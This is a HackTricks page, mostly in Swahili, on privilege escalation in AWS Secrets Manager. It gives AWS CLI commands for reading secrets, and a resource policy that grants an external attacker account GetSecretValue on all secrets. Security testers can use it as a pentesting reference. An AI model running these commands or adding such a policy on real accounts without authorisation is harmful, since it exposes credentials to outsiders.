AWS - Secrets Manager Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Secrets Manager

Kwa maelezo zaidi kuhusu meneja wa siri angalia:

AWS - Secrets Manager Enum

secretsmanager:GetSecretValue

Mshambuliaji mwenye ruhusa hii anaweza kupata thamani iliyohifadhiwa ndani ya siri katika AWS Secretsmanager.

aws secretsmanager get-secret-value --secret-id <secret_name> # Get value

Madhara Yanayoweza Kutokea: Upatikanaji wa data nyeti sana ndani ya huduma ya AWS secrets manager.

secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)

Kwa ruhusa zilizotangulia, inawezekana kutoa ufikiaji kwa wahusika/akaunti nyingine (hata za nje) kupata siri. Kumbuka kwamba ili kusoma siri zilizofichwa kwa kutumia funguo za KMS, mtumiaji pia anahitaji kuwa na ufikiaji wa funguo za KMS (maelezo zaidi katika KMS Enum page).

aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Statement" : [ {
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : "secretsmanager:GetSecretValue",
"Resource" : "*"
} ]
}

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Angalia mpango wa usajili!

• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.

• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.